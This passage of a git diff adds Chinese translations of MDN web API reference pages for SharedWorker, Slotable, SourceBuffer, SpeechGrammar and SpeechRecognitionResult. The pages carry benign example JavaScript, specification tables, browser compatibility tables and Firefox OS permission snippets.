然后两个脚本都通过 {{domxref("MessagePort")}} 对象来访问worker,这个对象用{{domxref("SharedWorker.port")}} 属性获得。如果已经用 addEventListener 监听了 onmessage 事件,则可以使用 start() 方法手动启动端口:

+ +
myWorker.port.start();
+ +

当启动端口时,两个脚本都会向 worker 发送消息, 然后使用 port.postMessage()和 port.onmessage 处理从 worker 返回的消息:

+ +
first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }
+ +

在 worker 中我们使用 {{domxref("SharedWorkerGlobalScope.onconnect")}} 处理程序连接到上面讨论的相同端口。可以在 {{event("connect")}} 事件的 ports 属性中获取到与该 worker 相关联的端口 — 然后我们使用 {{domxref("MessagePort")}} start() 方法来启动端口,然后 onmessage 处理程序处理来自主线程的消息。

+ +
onconnect = function(e) {
+    var port = e.ports[0];
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.SharedWorker")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/sharedworker/sharedworker/index.html b/files/zh-cn/web/api/sharedworker/sharedworker/index.html new file mode 100644 index 0000000000..987f704be3 --- /dev/null +++ b/files/zh-cn/web/api/sharedworker/sharedworker/index.html @@ -0,0 +1,103 @@ +--- +title: SharedWorker() +slug: Web/API/SharedWorker/SharedWorker +translation_of: Web/API/SharedWorker/SharedWorker +--- +
{{APIRef("Web Workers API")}}
+ +

SharedWorker() 构造函数实例化的 {{domxref("SharedWorker")}} 对象可以执行指定的 URL 的脚本。所执行的脚本必须遵守 同源策略

+ +

如果 URL 的语法无效或者违反了同源策略会抛出 SECURITY_ERR 类型的 {{domxref("DOMException")}} 异常。

+ +
+

注意: 浏览器开发者对于 data URI 是否同源产生分歧。尽管 Gecko 10.0 {{geckoRelease("10.0")}} 及之后版本支持 data URIs,其他浏览器并不能支持 。

+
+ +

语法

+ +
var myWorker = new SharedWorker(aURL, name);
+var myWorker = new SharedWorker(aURL, options);
+ +

参数

+ +
+
URL参数
+
一个代表了 worker 将执行的脚本 URL 的 {{domxref("DOMString")}},它必须遵守同源策略。
+
name {{optional_inline}}
+
一个指定表示 worker 范围的{{domxref("SharedWorkerGlobalScope")}}的标识名称的 {{domxref("DOMString")}},主要用于调试。
+
options {{optional_inline}}
+
创建实例时设定的包含了可选属性的对象。可用的属性包括:
+
+
    +
  • type: 一个制定所创建 worker 类型的 {{domxref("DOMString")}}。可设定的值为 classic 或者 module. 若不指定,默认值为 classic.
  • +
  • credentials: 一个指定要用于工作程序的凭据类型的  {{domxref("DOMString")}}。 可设定的值为 omitsame-origin 或 include. 若不指定,或者 type 设定为 classic, 默认值为 omit (无需凭据)。
  • +
  • name: 一个指定表示 worker 范围的{{domxref("SharedWorkerGlobalScope")}}的标识名称的 {{domxref("DOMString")}},主要用于调试。
  • +
+
+
+ +

Return value

+ +

创建的 worker

+ +

Exceptions

+ + + +

示例

+ +

以下代码段显示了使用 SharedWorker() 构造函数创建 {{domxref("SharedWorker")}} 对象以及对象的后续用法:

+ +
var myWorker = new SharedWorker('worker.js');
+
+myWorker.port.start();
+
+first.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+myWorker.port.onmessage = function(e) {
+  result1.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

看完整示例,请见 Basic shared worker example (run shared worker.)

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-sharedworker", "SharedWorker()")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.SharedWorker.SharedWorker")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/slotable/index.html b/files/zh-cn/web/api/slotable/index.html new file mode 100644 index 0000000000..99de358ce0 --- /dev/null +++ b/files/zh-cn/web/api/slotable/index.html @@ -0,0 +1,47 @@ +--- +title: Slotable +slug: Web/API/Slotable +tags: + - API + - Web Components + - 参考 + - 接口 +translation_of: Web/API/Slottable +--- +

{{APIRef("Shadow DOM")}}

+ +

Slotable mixin 定义了允许节点成为 {{htmlelement("slot")}} 元素的内容的特性——下面的特性被包含在 {{domxref("Element")}} 和 {{domxref("Text")}} API 之中。

+ +

属性

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
返回节点所插入的 {{htmlelement("slot")}} 元素。
+
+ +

方法

+ +

无。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Slotable")}}

diff --git a/files/zh-cn/web/api/sourcebuffer/appendbuffer/index.html b/files/zh-cn/web/api/sourcebuffer/appendbuffer/index.html new file mode 100644 index 0000000000..6127a477a7 --- /dev/null +++ b/files/zh-cn/web/api/sourcebuffer/appendbuffer/index.html @@ -0,0 +1,64 @@ +--- +title: SourceBuffer.appendBuffer() +slug: Web/API/SourceBuffer/appendBuffer +translation_of: Web/API/SourceBuffer/appendBuffer +--- +
{{draft}}{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +
appendBuffer()方法将媒体片段数据添加到SourceBuffer对象中,其中媒体片段用{{domxref("ArrayBuffer")}} 或 ArrayBufferView 对象存储 。
+ +

Syntax

+ +
sourceBuffer.appendBuffer(source);
+
+ +

Parameters

+ +
+
source
+
一个 {{domxref("BufferSource")}} 对象({{domxref("ArrayBufferView")}} 或 {{domxref("ArrayBuffer")}}),存储了你要添加到 SourceBuffer 中去的媒体片段数据。
+
+ +

Return value

+ +

undefined.

+ +

Exceptions

+ +

None.

+ +

Example

+ +

TBD.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-SourceBuffer-appendBuffer-void-ArrayBuffer-data', 'appendBuffer()')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SourceBuffer.appendBuffer")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/sourcebuffer/index.html b/files/zh-cn/web/api/sourcebuffer/index.html new file mode 100644 index 0000000000..447d6f29b8 --- /dev/null +++ b/files/zh-cn/web/api/sourcebuffer/index.html @@ -0,0 +1,160 @@ +--- +title: SourceBuffer +slug: Web/API/SourceBuffer +tags: + - API + - Audio + - Experimental + - Interface + - MSE + - Media Source Extensions + - NeedsTranslation + - Reference + - SourceBuffer + - TopicStub + - Video +translation_of: Web/API/SourceBuffer +--- +

{{APIRef("Media Source Extensions")}}

+ +

The SourceBuffer interface represents a chunk of media to be passed into an {{domxref("HTMLMediaElement")}} and played, via a {{domxref("MediaSource")}} object. This can be made up of one or several media segments.

+ +

{{InheritanceDiagram}}

+ +

Properties

+ +
+
{{domxref("SourceBuffer.appendWindowEnd")}}
+
Controls the timestamp for the end of the append window.
+
{{domxref("SourceBuffer.appendWindowStart")}}
+
Controls the timestamp for the start of the append window. This is a timestamp range that can be used to filter what media data is appended to the SourceBuffer. Coded media frames with timestamps within this range will be appended, whereas those outside the range will be filtered out.
+
{{domxref("SourceBuffer.audioTracks")}} {{readonlyInline}}
+
A list of the audio tracks currently contained inside the SourceBuffer.
+
{{domxref("SourceBuffer.buffered")}} {{readonlyInline}}
+
Returns the time ranges that are currently buffered in the SourceBuffer.
+
{{domxref("SourceBuffer.mode")}}
+
Controls how the order of media segments in the SourceBuffer is handled, in terms of whether they can be appended in any order, or they have to be kept in a strict sequence.
+
{{domxref("SourceBuffer.textTracks")}} {{readonlyInline}}
+
A list of the text tracks currently contained inside the SourceBuffer.
+
{{domxref("SourceBuffer.timestampOffset")}}
+
Controls the offset applied to timestamps inside media segments that are subsequently appended to the SourceBuffer.
+
{{domxref("SourceBuffer.trackDefaults")}}
+
Specifies the default values to use if kind, label, and/or language information is not available in the initialization segment of the media to be appended to the SourceBuffer.
+
{{domxref("SourceBuffer.updating")}} {{readonlyInline}}
+
A boolean indicating whether the SourceBuffer is currently being updated — i.e. whether an {{domxref("SourceBuffer.appendBuffer()")}}, {{domxref("SourceBuffer.appendStream()")}}, or {{domxref("SourceBuffer.remove()")}} operation is currently in progress.
+
{{domxref("SourceBuffer.videoTracks")}} {{readonlyInline}}
+
A list of the video tracks currently contained inside the SourceBuffer.
+
+ +

Event handlers

+ +
+
{{domxref("SourceBuffer.onabort")}}
+
Fired whenever {{domxref("SourceBuffer.appendBuffer()")}} or {{domxref("SourceBuffer.appendStream()")}} is ended by a call to {{domxref("SourceBuffer.abort()")}}. {{domxref("SourceBuffer.updating")}} changes from true to false.
+
{{domxref("SourceBuffer.onerror")}}
+
Fired whenever an error occurs during {{domxref("SourceBuffer.appendBuffer()")}} or {{domxref("SourceBuffer.appendStream()")}}. {{domxref("SourceBuffer.updating")}} changes from true to false.
+
{{domxref("SourceBuffer.onupdate")}}
+
Fired whenever {{domxref("SourceBuffer.appendBuffer()")}} method or the {{domxref("SourceBuffer.remove()")}} completes. {{domxref("SourceBuffer.updating")}} changes from true to false. This event is fired before onupdateend.
+
{{domxref("SourceBuffer.onupdateend")}}
+
Fired whenever {{domxref("SourceBuffer.appendBuffer()")}} method or the {{domxref("SourceBuffer.remove()")}} has ended. This event is fired after onupdate.
+
{{domxref("SourceBuffer.onupdatestart")}}
+
Fired whenever the value of {{domxref("SourceBuffer.updating")}} transitions from false to true.
+
+ +

Methods

+ +

Inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SourceBuffer.abort()")}}
+
Aborts the current segment and resets the segment parser.
+
{{domxref("SourceBuffer.appendBuffer()")}}
+
Appends media segment data from an {{domxref("ArrayBuffer")}} or {{domxref("ArrayBufferView")}} object to the SourceBuffer.
+
{{domxref("SourceBuffer.appendBufferAsync()")}} {{experimental_inline}}
+
Starts the process of asynchronously appending the specified buffer to the SourceBuffer. Returns a {{jsxref("Promise")}} which is fulfilled once the buffer has been appended.
+
{{domxref("SourceBuffer.appendStream()")}}
+
Appends media segment data from a ReadableStream object to the SourceBuffer.
+
{{domxref("SourceBuffer.changeType()")}}
+
Changes the {{Glossary("MIME type")}} that future calls to {{domxref("SourceBuffer.appendBuffer", "appendBuffer()")}} will expect the new data to conform to.
+
{{domxref("SourceBuffer.remove()")}}
+
Removes media segments within a specific time range from the SourceBuffer.
+
{{domxref("SourceBuffer.removeAsync()")}} {{experimental_inline}}
+
Starts the process of asynchronously removing media segments in the specified range from the SourceBuffer. Returns a {{jsxref("Promise")}} which is fulfilled once all matching segments have been removed.
+
+ +

Examples

+ +

The following simple example loads a video chunk by chunk as fast as possible, playing it as soon as it can. This example was written by Nick Desaulniers and can be viewed live here (you can also download the source for further investigation.)

+ +
var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window && MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+}
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#sourcebuffer', 'SourceBuffer')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SourceBuffer")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/sourcebuffer/mode/index.html b/files/zh-cn/web/api/sourcebuffer/mode/index.html new file mode 100644 index 0000000000..369280a54e --- /dev/null +++ b/files/zh-cn/web/api/sourcebuffer/mode/index.html @@ -0,0 +1,96 @@ +--- +title: SourceBuffer.mode +slug: Web/API/SourceBuffer/mode +translation_of: Web/API/SourceBuffer/mode +--- +
{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}
+ +

{{domxref("SourceBuffer")}} 接口的 mode 属性用来控制媒体片段添加到SourceBuffer 时的顺序是可以任意的还是有严格顺序的。

+ +

两个可用的值:

+ + + +

moder的值最初是在使用mediasource.addsourcebuffer()创建sourcebuffer时设置的。如果媒体片段上已经存在时间戳,则该值将设置为segments;如果没有,则该值将设置为sequence.

+ +

如果mode初始值为sequence想要改为segments则会引发错误, 必须以sequence模式维护现有段顺序。但是,可以将值从segments模式改为sequence模式。它意味着播放顺序将被固定,并会生成新的时间戳。

+ +

当 sourceBuffer 正在处理时mode的值无法改变,如 {{domxref("SourceBuffer.appendBuffer","appendBuffer()")}} 或 {{domxref("SourceBuffer.remove","remove()")}} .

+ +

Syntax

+ +
var myMode = sourceBuffer.mode;
+
+sourceBuffer.mode = 'sequence';
+
+ +

Value

+ +

A {{domxref("DOMString")}}.

+ +

Errors

+ +

The following errors may be thrown when setting a new value for this property.

+ + + + + + + + + + + + + + + + + + +
ErrorExplanation
InvalidAccessErrorAn attempt was made to set the value to segments when the initial value is sequence.
InvalidStateErrorThe {{domxref("SourceBuffer")}} object is being updated (i.e. its {{domxref("SourceBuffer.updating")}} property is currently true), the last media segment appended to this SourceBuffer is incomplete, or this SourceBuffer has been removed from the {{domxref("MediaSource")}}.
+ +

Example

+ +

此代码段是将sourcebuffer的模式设置为“sequence”(如果当前设置为“segments”),假如原先的播放顺序为segments.

+ +
var curMode = sourceBuffer.mode;
+if (curMode == 'segments') {
+  sourceBuffer.mode = 'sequence';
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#widl-SourceBuffer-mode', 'mode')}}{{Spec2('Media Source Extensions')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SourceBuffer.mode")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechgrammar/index.html b/files/zh-cn/web/api/speechgrammar/index.html new file mode 100644 index 0000000000..91f25491c7 --- /dev/null +++ b/files/zh-cn/web/api/speechgrammar/index.html @@ -0,0 +1,147 @@ +--- +title: SpeechGrammar +slug: Web/API/SpeechGrammar +tags: + - API + - SpeechGrammar + - Web Speech API + - 实验性 + - 接口 + - 识别 + - 语音 + - 语音识别 +translation_of: Web/API/SpeechGrammar +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

Web Speech API 的 SpeechGrammar 接口 表示了语音识别对象服务想要识别的一系列词语或模式。

+ +

文法通过 JSpeech Grammar Format (JSGF.) 来定义,其他格式的文法会在以后支持。

+ +

构造函数

+ +
+
{{domxref("SpeechGrammar.SpeechGrammar()")}}
+
创建一个新的 SpeechGrammar 对象。
+
+ +

属性

+ +
+
{{domxref("SpeechGrammar.src")}}
+
设置或返回 SpeechGrammar 对象实例中包含文法的字符串。
+
{{domxref("SpeechGrammar.weight")}} {{optional_inline}}
+
设置或返回 SpeechGrammar 对象的权重。
+
+ +

示例

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // 应该返回和上面语法变量一样的内容
+console.log(speechRecognitionList[0].weight); // 应该返回 1 - 与上面第四行所设置的权重一致
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态描述
{{SpecName('Web Speech API', '#speechreco-speechgrammar', 'SpeechGrammar')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS 权限

+ +

如需在应用中使用语音识别,你必须在你的 manifest 中指明下面的权限:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

若还需要设置应用的特权类型,因此你还需要包含以下这项:

+ +
  "type": "privileged"
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/speechgrammar/speechgrammar/index.html b/files/zh-cn/web/api/speechgrammar/speechgrammar/index.html new file mode 100644 index 0000000000..c18e560e57 --- /dev/null +++ b/files/zh-cn/web/api/speechgrammar/speechgrammar/index.html @@ -0,0 +1,137 @@ +--- +title: SpeechGrammar.SpeechGrammar() +slug: Web/API/SpeechGrammar/SpeechGrammar +tags: + - API + - SpeechGrammar + - Web + - Web Speech API + - 实验性 + - 引用 + - 构造函数 + - 语音识别 +translation_of: Web/API/SpeechGrammar/SpeechGrammar +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

SpeechGrammar 是 {{domxref("SpeechGrammar")}} 接口的构造函数,创建一个新的 SpeechGrammar 对象实例。

+ +

语法

+ +
var mySpeechGrammar = new SpeechGrammar();
+ +

Parameters

+ +

无。

+ +

样例

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+var newGrammar = new SpeechGrammar();
+newGrammar.src = '#JSGF V1.0; grammar names; public <name> = chris | kirsty | mike;'
+speechRecognitionList[1] = newGrammar; // 将 SpeechGrammar 对象添加到列表中
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态描述
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechGrammar()')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS 权限

+ +

如需在应用中使用语音识别,你必须在你的 manifest 中指明下面的权限:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

若还需要设置应用的特权类型,因此你还需要包含以下这项:

+ +
  "type": "privileged"
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/speechgrammar/src/index.html b/files/zh-cn/web/api/speechgrammar/src/index.html new file mode 100644 index 0000000000..4c3d7f2712 --- /dev/null +++ b/files/zh-cn/web/api/speechgrammar/src/index.html @@ -0,0 +1,138 @@ +--- +title: SpeechGrammar.src +slug: Web/API/SpeechGrammar/src +tags: + - API + - SpeechGrammar + - Web Speech API + - src + - 实验性 + - 属性 + - 引用 + - 识别 + - 语音 +translation_of: Web/API/SpeechGrammar/src +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

src 属性是 {{domxref("SpeechGrammar")}} 接口设置并返回的一个字符串,包含了 SpeechGrammar 对象的文法。

+ +

语法

+ +
var myGrammar = speechGrammarInstance.src;
+ +

+ +

{{domxref("DOMString")}} 用以表示文法。

+ +

示例

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // 应该返回和上面文法变量一样的内容
+console.log(speechRecognitionList[0].weight); // 应该返回 1 - 与上面第四行所设置的权重一致
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态描述
{{SpecName('Web Speech API', '#dfn-grammarSrc', 'src')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS 权限

+ +

如需在应用中使用语音识别,你必须在你的 manifest 中指明下面的权限:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

若还需要设置应用的特权类型,因此你还需要包含以下这项:

+ +
  "type": "privileged"
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/speechgrammar/weight/index.html b/files/zh-cn/web/api/speechgrammar/weight/index.html new file mode 100644 index 0000000000..3a56e9edad --- /dev/null +++ b/files/zh-cn/web/api/speechgrammar/weight/index.html @@ -0,0 +1,138 @@ +--- +title: SpeechGrammar.weight +slug: Web/API/SpeechGrammar/weight +tags: + - API + - SpeechGrammar + - Web Speech API + - 实验性 + - 属性 + - 引用 + - 权重 + - 识别 + - 语音识别 +translation_of: Web/API/SpeechGrammar/weight +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

{{domxref("SpeechGrammar")}} 接口的可选属性 weight 设置并返回了一个  SpeechGrammar 对象的权重。

+ +

语法

+ +
var myGrammarWeight = speechGrammarInstance.weight;
+ +

+ +

浮点数表示了当前文法的权重,范围在 0.0-1.0 之间。

+ +

样例

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+
+
+console.log(speechRecognitionList[0].src); // 应该返回和上面文法变量一样的内容
+console.log(speechRecognitionList[0].weight); // 应该返回 1 - 与上面第四行所设置的权重一致
+
+ +

规格

+ + + + + + + + + + + + + + +
规格状态描述
{{SpecName('Web Speech API', '#dfn-grammarWeight', 'weight')}}{{Spec2('Web Speech API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS 权限

+ +

如需在应用中使用语音识别,你必须在你的 manifest 中指明下面的权限:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

若还需要设置应用的特权类型,因此你还需要包含以下这项:

+ +
  "type": "privileged"
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/speechrecognitionresult/index.html b/files/zh-cn/web/api/speechrecognitionresult/index.html new file mode 100644 index 0000000000..c22e5d7da0 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognitionresult/index.html @@ -0,0 +1,152 @@ +--- +title: SpeechRecognitionResult +slug: Web/API/SpeechRecognitionResult +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Reference + - SpeechRecognitionResult + - TopicStub + - Web Speech API + - recognition + - speech +translation_of: Web/API/SpeechRecognitionResult +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechRecognitionResult interface of the Web Speech API represents a single recognition match, which may contain multiple {{domxref("SpeechRecognitionAlternative")}} objects.

+ +

Properties

+ +
+
{{domxref("SpeechRecognitionResult.isFinal")}} {{readonlyinline}}
+
A {{domxref("Boolean")}} that states whether this result is final (true) or not (false) — if so, then this is the final time this result will be returned; if not, then this result is an interim result, and may be updated later on.
+
{{domxref("SpeechRecognitionResult.length")}} {{readonlyinline}}
+
Returns the length of the "array" — the number of {{domxref("SpeechRecognitionAlternative")}} objects contained in the result (also referred to as "n-best alternatives".)
+
+ +

Methods

+ +
+
{{domxref("SpeechRecognitionResult.item")}}
+
A standard getter that allows {{domxref("SpeechRecognitionAlternative")}} objects within the result to be accessed via array syntax.
+
+ +

Examples

+ +

This code is excerpted from our Speech color changer example.

+ +
recognition.onresult = function(event) {
+  // The SpeechRecognitionEvent results property returns a SpeechRecognitionResultList object
+  // The SpeechRecognitionResultList object contains SpeechRecognitionResult objects.
+  // It has a getter so it can be accessed like an array
+  // The first [0] returns the SpeechRecognitionResult at position 0.
+  // Each SpeechRecognitionResult object contains SpeechRecognitionAlternative objects that contain individual results.
+  // These also have getters so they can be accessed like arrays.
+  // The second [0] returns the SpeechRecognitionAlternative at position 0.
+  // We then return the transcript property of the SpeechRecognitionAlternative object
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-result', 'SpeechRecognitionResult')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}} [1]{{CompatGeckoDesktop(44)}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS permissions

+ +

To use speech recognition in an app, you need to specify the following permissions in your manifest:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

You also need a privileged app, so you need to include this as well:

